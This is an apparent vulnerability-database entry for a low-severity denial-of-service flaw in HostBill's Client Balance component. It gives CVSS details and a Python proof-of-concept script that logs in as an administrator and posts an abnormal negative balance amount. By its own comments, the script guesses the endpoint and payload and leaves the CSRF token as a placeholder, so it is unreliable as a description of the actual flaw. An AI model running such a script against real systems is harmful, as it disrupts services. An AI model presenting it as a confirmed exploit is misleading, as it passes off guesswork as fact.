An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to cause a denial of service via the Client Balance component
CVSS Details
CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Hostbill v.2025-11-24
Hostbill v.2025-12-01
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-31051
# This script demonstrates the Denial of Service vulnerability in HostBill Client Balance component.
# Note: This requires High Privileges (Admin/Staff) as indicated by PR:H.
import requests
def trigger_dos(target_url, username, password):
session = requests.Session()
# Step 1: Authentication to obtain high privileges
login_url = f"{target_url}/admin.php"
login_data = {
"username": username,
"password": password,
"action": "login"
}
print(f"[*] Attempting login to {login_url}...")
try:
response = session.post(login_url, data=login_data)
if "login" in response.text.lower():
print("[-] Login failed.")
return
print("[+] Login successful.")
except Exception as e:
print(f"[!] Connection error during login: {e}")
return
# Step 2: Exploit Client Balance Component
# The specific endpoint causing the DoS might involve balance update or calculation.
# Sending a payload that triggers the logic flaw.
exploit_url = f"{target_url}/index.php?cmd=clientarea&action=services"
# Malicious payload designed to trigger the DoS condition
# Example: Excessive negative value or specific format causing backend crash
payload = {
"id": "1",
"balance_action": "deduct",
"amount": "-999999999999999999999.99", # Abnormal value
"token": "get_token_from_page" # In a real scenario, CSRF token is needed
}
print(f"[*] Sending malicious payload to {exploit_url}...")
try:
exploit_response = session.post(exploit_url, data=payload, timeout=5)
# Check if service becomes unresponsive or returns error 500
if exploit_response.status_code == 500 or exploit_response.elapsed.total_seconds() > 4.9:
print("[+] Potential DoS triggered: Server responded slowly or with error.")
else:
print("[-] Exploit attempt did not trigger a crash.")
except requests.exceptions.Timeout:
print("[+] Potential DoS triggered: Server timed out.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# Replace with actual target details
target = "http://localhost/hostbill"
user = "admin"
passw = "password"
trigger_dos(target, user, passw)